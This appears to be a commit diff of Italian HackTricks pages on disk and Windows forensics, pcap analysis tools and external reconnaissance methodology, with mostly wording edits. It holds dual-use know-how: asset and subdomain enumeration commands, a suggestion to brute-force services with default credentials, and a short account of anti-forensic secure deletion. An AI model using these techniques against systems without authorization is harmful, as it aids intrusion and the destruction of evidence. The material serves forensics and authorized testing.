- GPT mantiene la compatibilità retroattiva attraverso un MBR protettivo. Questa funzione risiede nello spazio MBR legacy ma è progettata per prevenire che le utility basate su MBR più vecchie sovrascrivano erroneamente i dischi GPT, proteggendo così l'integrità dei dati sui dischi formattati GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>)
@ -157,23 +157,23 @@ L'unità di archiviazione di base del file system è un **cluster, di solito 512
- **FAT16**, che migliora a indirizzi a 16 bit, consentendo così di ospitare fino a 65.517 cluster.
- **FAT32**, che avanza ulteriormente con indirizzi a 32 bit, consentendo un impressionante 268.435.456 cluster per volume.
Una limitazione significativa in tutte le versioni FAT è la **dimensione massima del file di 4GB**, imposta dal campo a 32 bit utilizzato per la memorizzazione della dimensione del file.
Una limitazione significativa in tutte le versioni di FAT è la **dimensione massima del file di 4GB**, imposta dal campo a 32 bit utilizzato per la memorizzazione della dimensione del file.
I componenti chiave della directory radice, in particolare per FAT12 e FAT16, includono:
- **Nome del File/Cartella** (fino a 8 caratteri)
- **Attributi**
- **Date di creazione, modifica e ultimo accesso**
- **Date di Creazione, Modifica e Ultimo Accesso**
- **Indirizzo della Tabella FAT** (che indica il cluster iniziale del file)
- **Dimensione del File**
### EXT
**Ext2** è il file system più comune per le partizioni **non journaling** (**partizioni che non cambiano molto**) come la partizione di avvio. **Ext3/4** sono **journaling** e sono utilizzati solitamente per le **altre partizioni**.
**Ext2** è il file system più comune per **partizioni non journaling** (**partizioni che non cambiano molto**) come la partizione di avvio. **Ext3/4** sono **journaling** e vengono solitamente utilizzati per le **altre partizioni**.
## **Metadata**
Alcuni file contengono metadati. Queste informazioni riguardano il contenuto del file che a volte potrebbe essere interessante per un analista poiché, a seconda del tipo di file, potrebbe contenere informazioni come:
Al alcuni file contengono metadati. Queste informazioni riguardano il contenuto del file che a volte potrebbe essere interessante per un analista poiché, a seconda del tipo di file, potrebbe contenere informazioni come:
- Titolo
- Versione di MS Office utilizzata
@ -203,7 +203,7 @@ file-data-carving-recovery-tools.md
Nota che questa tecnica **non funziona per recuperare file frammentati**. Se un file **non è memorizzato in settori contigui**, allora questa tecnica non sarà in grado di trovarlo o almeno parte di esso.
Ci sono diversi strumenti che puoi utilizzare per il file carving indicando i tipi di file che desideri cercare.
Ci sono diversi strumenti che puoi utilizzare per il file Carving indicando i tipi di file che desideri cercare.
{{#ref}}
file-data-carving-recovery-tools.md
@ -220,7 +220,7 @@ file-data-carving-recovery-tools.md
### Cancellazione Sicura
Ovviamente, ci sono modi per **cancellare "in modo sicuro" file e parte dei registri su di essi**. Ad esempio, è possibile **sovrascrivere il contenuto** di un file con dati spazzatura più volte, e poi **rimuovere** i **registri** dal **$MFT** e **$LOGFILE** riguardanti il file, e **rimuovere le Copie Shadow del Volume**.\
Ovviamente, ci sono modi per **"cancellare in modo sicuro" file e parte dei registri su di essi**. Ad esempio, è possibile **sovrascrivere il contenuto** di un file con dati spazzatura più volte, e poi **rimuovere** i **registri** dal **$MFT** e **$LOGFILE** riguardanti il file, e **rimuovere le Copie Shadow del Volume**.\
Potresti notare che anche eseguendo quell'azione potrebbero esserci **altre parti in cui l'esistenza del file è ancora registrata**, e questo è vero e parte del lavoro del professionista forense è trovarle.
## Riferimenti

15
src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
View File

@ -1,8 +1,8 @@
# Ispezione Pcap
# Pcap Inspection
{{#include ../../../banners/hacktricks-training.md}}
> [!NOTE]
> [!TIP]
> Una nota su **PCAP** vs **PCAPNG**: ci sono due versioni del formato di file PCAP; **PCAPNG è più recente e non supportato da tutti gli strumenti**. Potresti dover convertire un file da PCAPNG a PCAP utilizzando Wireshark o un altro strumento compatibile, per poter lavorare con esso in alcuni altri strumenti.
## Strumenti online per pcaps
@ -18,7 +18,7 @@ I seguenti strumenti sono utili per estrarre statistiche, file, ecc.
### Wireshark
> [!NOTE]
> [!TIP]
> **Se intendi analizzare un PCAP devi sostanzialmente sapere come usare Wireshark**
Puoi trovare alcuni trucchi di Wireshark in:
@ -29,7 +29,7 @@ wireshark-tricks.md
### [**https://apackets.com/**](https://apackets.com/)
Analisi pcap dal browser.
Analisi del pcap dal browser.
### Xplico Framework
@ -58,7 +58,7 @@ Questo strumento è anche utile per ottenere **altre informazioni analizzate** d
### NetWitness Investigator
Puoi scaricare [**NetWitness Investigator da qui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funziona in Windows)**.\
Puoi scaricare [**NetWitness Investigator da qui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funziona su Windows)**.\
Questo è un altro strumento utile che **analizza i pacchetti** e ordina le informazioni in un modo utile per **sapere cosa sta succedendo all'interno**.
### [BruteShark](https://github.com/odedshimon/BruteShark)
@ -84,6 +84,7 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.
Utilizzare tecniche di carving comuni può essere utile per estrarre file e informazioni dal pcap:
{{#ref}}
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
@ -121,6 +122,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
Controlla se riesci a trovare qualche impronta di un malware noto:
{{#ref}}
../malware-analysis.md
{{#endref}}
@ -200,14 +202,17 @@ rita show-exploded-dns -H --limit 10 zeek_logs
```
## Altri trucchi per l'analisi pcap
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
{{#ref}}
usb-keystrokes.md
{{#endref}}

13
src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md
View File

@ -1,39 +1,50 @@
# Specific Software/File Type Tricks
{{#include ../../../banners/hacktricks-training.md}}
Qui puoi trovare trucchi interessanti per tipi di file specifici e/o software:
Qui puoi trovare trucchi interessanti per specifici tipi di file e/o software:
{{#ref}}
.pyc.md
{{#endref}}
{{#ref}}
browser-artifacts.md
{{#endref}}
{{#ref}}
desofuscation-vbs-cscript.exe.md
{{#endref}}
{{#ref}}
local-cloud-storage.md
{{#endref}}
{{#ref}}
office-file-analysis.md
{{#endref}}
{{#ref}}
pdf-file-analysis.md
{{#endref}}
{{#ref}}
png-tricks.md
{{#endref}}
{{#ref}}
video-and-audio-file-analysis.md
{{#endref}}
{{#ref}}
zips-tricks.md
{{#endref}}

55
src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md
View File

@ -12,7 +12,7 @@ All'interno di questo database SQLite, puoi trovare la tabella `Notification` co
### Timeline
La Timeline è una caratteristica di Windows che fornisce **una cronologia cronologica** delle pagine web visitate, dei documenti modificati e delle applicazioni eseguite.
La Timeline è una caratteristica di Windows che fornisce una **storia cronologica** delle pagine web visitate, dei documenti modificati e delle applicazioni eseguite.
Il database si trova nel percorso `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Questo database può essere aperto con uno strumento SQLite o con lo strumento [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **che genera 2 file che possono essere aperti con lo strumento** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
@ -25,14 +25,14 @@ I file scaricati possono contenere l'**ADS Zone.Identifier** che indica **come**
### Recycle Bin
In Vista/Win7/Win8/Win10 il **Recycle Bin** può essere trovato nella cartella **`$Recycle.bin`** nella radice dell'unità (`C:\$Recycle.bin`).\
Quando un file viene eliminato in questa cartella, vengono creati 2 file specifici:
Quando un file viene eliminato in questa cartella vengono creati 2 file specifici:
- `$I{id}`: Informazioni sul file (data di quando è stato eliminato)
- `$R{id}`: Contenuto del file
![](<../../../images/image (1029).png>)
Avendo questi file, puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista – Win10).
Avendo questi file puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista – Win10).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
@ -54,7 +54,7 @@ L'entry del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Backup
![](<../../../images/image (254).png>)
Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sulle `Volume Shadow Copies`.
Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione riguardo le `Volume Shadow Copies`.
### File AutoSalvati di Office
@ -71,11 +71,11 @@ Windows **crea automaticamente** questi **collegamenti** quando l'utente **apre,
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Quando viene creata una cartella, viene creato anche un collegamento alla cartella, alla cartella padre e alla cartella nonna.
Quando viene creata una cartella, viene anche creato un collegamento alla cartella, alla cartella padre e alla cartella nonna.
Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se si tratta di un **file** **o** di una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** di dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso siano stati rimossi.
Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se è un **file** **o** una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso siano stati rimossi.
Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato per la prima volta** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato.
Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato.
Per ispezionare questi file puoi utilizzare [**LinkParser**](http://4discovery.com/our-tools/).
@ -100,13 +100,13 @@ In questo caso, le informazioni verranno salvate all'interno di un file CSV.
### Jumplists
Questi sono i file recenti che vengono indicati per applicazione. È l'elenco dei **file recenti utilizzati da un'applicazione** a cui puoi accedere su ciascuna applicazione. Possono essere creati **automaticamente o essere personalizzati**.
Questi sono i file recenti indicati per applicazione. È l'elenco dei **file recenti utilizzati da un'applicazione** a cui puoi accedere su ciascuna applicazione. Possono essere creati **automaticamente o essere personalizzati**.
I **jumplists** creati automaticamente sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. I jumplists sono nominati seguendo il formato `{id}.autmaticDestinations-ms` dove l'ID iniziale è l'ID dell'applicazione.
I jumplists personalizzati sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e vengono creati dall'applicazione solitamente perché è successo qualcosa di **importante** con il file (forse contrassegnato come preferito).
Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta che il file è stato accesso** e il **tempo di modifica l'ultima volta**.
Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta che il file è stato accesso** e il **tempo modificato l'ultima volta**.
Puoi ispezionare i jumplists utilizzando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
@ -140,7 +140,7 @@ I file nella cartella WPDNSE sono una copia di quelli originali, quindi non sopr
Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su quando è stata effettuata la connessione USB (cerca `Section start`).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective
@ -162,9 +162,9 @@ Uno screenshot che mostra il contenuto del compito è fornito: ![](https://2.bp.
- **UseUnifiedSchedulingEngine**: Impostato su `TRUE`, indica l'uso del motore di pianificazione dei compiti generico.
- **MaintenanceSettings**:
- **Period ('P1M')**: Indica al Task Scheduler di avviare il compito di pulizia mensilmente durante la manutenzione automatica regolare.
- **Deadline ('P2M')**: Istruisce il Task Scheduler, se il compito fallisce per due mesi consecutivi, ad eseguire il compito durante la manutenzione automatica di emergenza.
- **Deadline ('P2M')**: Istruisce il Task Scheduler, se il compito fallisce per due mesi consecutivi, a eseguire il compito durante la manutenzione automatica di emergenza.
Questa configurazione garantisce una manutenzione regolare e la pulizia dei driver, con disposizioni per riprovare il compito in caso di fallimenti consecutivi.
Questa configurazione garantisce una manutenzione e pulizia regolari dei driver, con disposizioni per riprovare il compito in caso di fallimenti consecutivi.
**Per ulteriori informazioni controlla:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
@ -225,16 +225,16 @@ Allegati persi potrebbero essere recuperabili da:
### Miniature delle Immagini
- **Windows XP e 8-8.1**: Accedere a una cartella con miniature genera un file `thumbs.db` che memorizza le anteprime delle immagini, anche dopo la cancellazione.
- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite rete tramite percorso UNC.
- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite una rete tramite percorso UNC.
- **Windows Vista e versioni successive**: Le anteprime delle miniature sono centralizzate in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con file denominati **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sono strumenti per visualizzare questi file.
### Informazioni sul Registro di Windows
Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di sistema e utente, è contenuto all'interno di file in:
- `%windir%\System32\Config` per vari sottochiavi di `HKEY_LOCAL_MACHINE`.
- `%windir%\System32\Config` per varie sottochiavi `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` per `HKEY_CURRENT_USER`.
- Windows Vista e versioni successive eseguono il backup dei file di registro di `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`.
- Windows Vista e versioni successive eseguono il backup dei file di registro `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`.
- Inoltre, le informazioni sull'esecuzione dei programmi sono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partire da Windows Vista e Windows 2008 Server.
### Strumenti
@ -242,9 +242,9 @@ Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di
Alcuni strumenti sono utili per analizzare i file di registro:
- **Editor del Registro**: È installato in Windows. È un'interfaccia grafica per navigare attraverso il registro di Windows della sessione corrente.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano chiavi con informazioni interessanti.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano le chiavi con informazioni interessanti.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ancora, ha un'interfaccia grafica che consente di navigare attraverso il registro caricato e contiene anche plugin che evidenziano informazioni interessanti all'interno del registro caricato.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Un'altra applicazione GUI in grado di estrarre le informazioni importanti dal registro caricato.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Un'altra applicazione GUI in grado di estrarre informazioni importanti dal registro caricato.
### Recupero di Elementi Cancellati
@ -262,6 +262,7 @@ In `SAM\Domains\Account\Users` puoi ottenere il nome utente, il RID, l'ultimo ac
### Voci Interessanti nel Registro di Windows
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
@ -274,17 +275,17 @@ In [questo post](https://jonahacks.medium.com/investigating-common-windows-proce
### APP Recenti di Windows
All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, **l'ultima volta** che è stata eseguita e **il numero di volte** che è stata avviata.
All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, **ultima volta** che è stata eseguita e **numero di volte** che è stata avviata.
### BAM (Moderatore di Attività in Background)
Puoi aprire il file `SYSTEM` con un editor di registro e all'interno del percorso `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puoi trovare informazioni sulle **applicazioni eseguite da ciascun utente** (nota il `{SID}` nel percorso) e **a che ora** sono state eseguite (l'ora è all'interno del valore Data del registro).
### Windows Prefetch
### Prefetch di Windows
Il prefetching è una tecnica che consente a un computer di **recuperare silenziosamente le risorse necessarie per visualizzare contenuti** a cui un utente **potrebbe accedere nel prossimo futuro** in modo che le risorse possano essere accessibili più rapidamente.
Il prefetch di Windows consiste nel creare **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` all'interno del percorso: `C:\Windows\Prefetch`. C'è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10.
Il prefetch di Windows consiste nella creazione di **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` all'interno del percorso: `C:\Windows\Prefetch`. C'è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10.
Il nome del file è creato come `{program_name}-{hash}.pf` (l'hash è basato sul percorso e sugli argomenti dell'eseguibile). In W10 questi file sono compressi. Nota che la sola presenza del file indica che **il programma è stato eseguito** a un certo punto.
@ -332,7 +333,7 @@ Il **AppCompatCache**, noto anche come **ShimCache**, fa parte del **Database di
- Percorso completo del file
- Dimensione del file
- Ultima data di modifica sotto **$Standard_Information** (SI)
- Ultima data di aggiornamento dello ShimCache
- Ultima data di aggiornamento del ShimCache
- Flag di esecuzione del processo
Tali dati sono memorizzati nel registro in posizioni specifiche in base alla versione del sistema operativo:
@ -394,7 +395,7 @@ Le informazioni che appaiono all'interno degli eventi di Windows sono:
I log si trovano in `C:\Windows\System32\config` prima di Windows Vista e in `C:\Windows\System32\winevt\Logs` dopo Windows Vista. Prima di Windows Vista, i log degli eventi erano in formato binario e dopo sono in **formato XML** e utilizzano l'estensione **.evtx**.
La posizione dei file di eventi può essere trovata nel registro SYSTEM in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
La posizione dei file di evento può essere trovata nel registro SYSTEM in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Possono essere visualizzati dal Visualizzatore eventi di Windows (**`eventvwr.msc`**) o con altri strumenti come [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
@ -434,7 +435,7 @@ Gli eventi di accesso sono registrati nel file di configurazione della sicurezza
- **0xC0000070**: Violazione delle restrizioni della workstation - Potrebbe essere un tentativo di accesso da una posizione non autorizzata.
- **0xC0000193**: Scadenza dell'account - Tentativi di accesso con account utente scaduti.
- **0xC0000071**: Password scaduta - Tentativi di accesso con password obsolete.
- **0xC0000133**: Problemi di sincronizzazione dell'ora - Grandi discrepanze di tempo tra client e server possono indicare attacchi più sofisticati come pass-the-ticket.
- **0xC0000133**: Problemi di sincronizzazione dell'orario - Grandi discrepanze di tempo tra client e server possono indicare attacchi più sofisticati come pass-the-ticket.
- **0xC0000224**: Cambio di password obbligatorio richiesto - Cambiamenti obbligatori frequenti potrebbero suggerire un tentativo di destabilizzare la sicurezza dell'account.
- **0xC0000225**: Indica un bug di sistema piuttosto che un problema di sicurezza.
- **0xC000015b**: Tipo di accesso negato - Tentativo di accesso con tipo di accesso non autorizzato, come un utente che cerca di eseguire un accesso di servizio.
@ -463,11 +464,11 @@ I dettagli degli eventi, inclusi i codici di stato e sottostato, forniscono ulte
### Recovering Windows Events
Per aumentare le possibilità di recuperare eventi di Windows cancellati, è consigliabile spegnere il computer sospetto scollegandolo direttamente. **Bulk_extractor**, uno strumento di recupero che specifica l'estensione `.evtx`, è raccomandato per tentare di recuperare tali eventi.
Per aumentare le possibilità di recuperare eventi di Windows eliminati, è consigliabile spegnere il computer sospetto scollegandolo direttamente. **Bulk_extractor**, uno strumento di recupero che specifica l'estensione `.evtx`, è raccomandato per tentare di recuperare tali eventi.
### Identifying Common Attacks via Windows Events
Per una guida completa sull'utilizzo degli ID eventi di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/).
Per una guida completa su come utilizzare gli ID degli eventi di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Brute Force Attacks
@ -475,11 +476,11 @@ Identificabili da più registrazioni di EventID 4625, seguite da un EventID 4624
#### Time Change
Registrato da EventID 4616, i cambiamenti all'ora di sistema possono complicare l'analisi forense.
Registrato da EventID 4616, le modifiche all'ora di sistema possono complicare l'analisi forense.
#### USB Device Tracking
Gli ID eventi di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per aggiornamenti dei driver e EventID 112 da DeviceSetupManager per i timestamp di inserimento.
Gli ID di evento di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per aggiornamenti dei driver e EventID 112 da DeviceSetupManager per i timestamp di inserimento.
#### System Power Events

110
src/generic-methodologies-and-resources/external-recon-methodology/README.md
View File

@ -1,17 +1,17 @@
# External Recon Methodology
# Metodologia di Ricognizione Esterna
{{#include ../../banners/hacktricks-training.md}}
## Scoperta degli asset
## Scoperta delle Risorse
> Ti è stato detto che tutto ciò che appartiene a una certa azienda è all'interno dell'ambito, e vuoi scoprire cosa possiede effettivamente questa azienda.
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti gli **asset** di queste aziende. Per farlo, procederemo a:
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti i **beni** di queste aziende. Per farlo, procederemo a:
1. Trovare le acquisizioni della società principale, questo ci darà le aziende all'interno dell'ambito.
2. Trovare l'ASN (se presente) di ciascuna azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda.
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi delle organizzazioni, domini...) correlate alla prima (questo può essere fatto in modo ricorsivo).
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo).
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi di organizzazioni, domini...) correlate alla prima (questo può essere fatto in modo ricorsivo).
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri beni (il trucco `ssl` può essere fatto in modo ricorsivo).
### **Acquisizioni**
@ -19,7 +19,7 @@ Prima di tutto, dobbiamo sapere quali **altre aziende sono possedute dalla socie
Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** la **società principale** e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
Un'altra opzione è visitare la pagina **Wikipedia** della società principale e cercare le **acquisizioni**.
> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro asset.
> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro beni.
### **ASN**
@ -34,7 +34,7 @@ Puoi **cercare** per nome dell'azienda, per **IP** o per **dominio** in [**https
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Inoltre, la enumerazione dei sottodomini di [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** aggrega e riassume automaticamente gli ASN alla fine della scansione.
Inoltre, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** l'enumerazione dei sottodomini aggrega e riassume automaticamente gli ASN alla fine della scansione.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -52,12 +52,12 @@ bbot -t tesla.com -f subdomain-enum
```
Puoi trovare gli intervalli IP di un'organizzazione anche utilizzando [http://asnlookup.com/](http://asnlookup.com) (ha un'API gratuita).\
Puoi trovare l'IP e l'ASN di un dominio usando [http://ipv4info.com/](http://ipv4info.com).
Puoi trovare l'IP e l'ASN di un dominio utilizzando [http://ipv4info.com/](http://ipv4info.com).
### **Cercare vulnerabilità**
A questo punto conosciamo **tutti gli asset all'interno dell'ambito**, quindi se sei autorizzato potresti lanciare alcuni **scanner di vulnerabilità** (Nessus, OpenVAS) su tutti gli host.\
Inoltre, potresti lanciare alcune [**scansioni delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e a seconda di ciò che trovi dovresti** dare un'occhiata a questo libro su come effettuare pentesting su diversi servizi possibili in esecuzione.\
Inoltre, potresti lanciare alcune [**scansioni delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e a seconda di ciò che trovi dovresti** dare un'occhiata a questo libro su come fare pentesting a diversi servizi possibili in esecuzione.\
**Inoltre, potrebbe valere la pena menzionare che puoi anche preparare alcune** liste di nomi utente **e** password **predefiniti e provare a** forzare i servizi con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domini
@ -82,7 +82,7 @@ Puoi anche utilizzare uno strumento online per queste informazioni: [http://ptra
### **Reverse Whois (loop)**
All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **ulteriori asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **altri asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
Puoi utilizzare strumenti online come:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito**
@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
In parole semplici, favihash ci permetterà di scoprire domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
Inoltre, puoi anche cercare tecnologie utilizzando l'hash della favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci il **hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
Inoltre, puoi anche cercare tecnologie utilizzando l'hash favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci il **hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -150,8 +150,8 @@ Cerca all'interno delle pagine web **stringhe che potrebbero essere condivise tr
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
per rinnovare tutti i certificati di dominio sul server. Questo significa che anche se il CA utilizzato per questo non imposta il tempo in cui è stato generato nel tempo di validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza dei certificati**.\
Controlla questo [**writeup per ulteriori informazioni**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
per rinnovare tutti i certificati di dominio sul server. Questo significa che anche se la CA utilizzata per questo non imposta il tempo in cui è stato generato nel tempo di validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza dei certificati**.\
Controlla questo [**writeup per maggiori informazioni**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Informazioni DMARC Mail
@ -169,19 +169,19 @@ Apparentemente è comune per le persone assegnare sottodomini a IP che apparteng
**Shodan**
Come già sai il nome dell'organizzazione che possiede lo spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
Come già sai il nome dell'organizzazione proprietaria dello spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e poi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) è uno strumento che cerca **domini correlati** con un dominio principale e **sottodomini** di essi, davvero sorprendente.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) è uno strumento che cerca **domini correlati** a un dominio principale e **sottodomini** di essi, davvero sorprendente.
### **Cercare vulnerabilità**
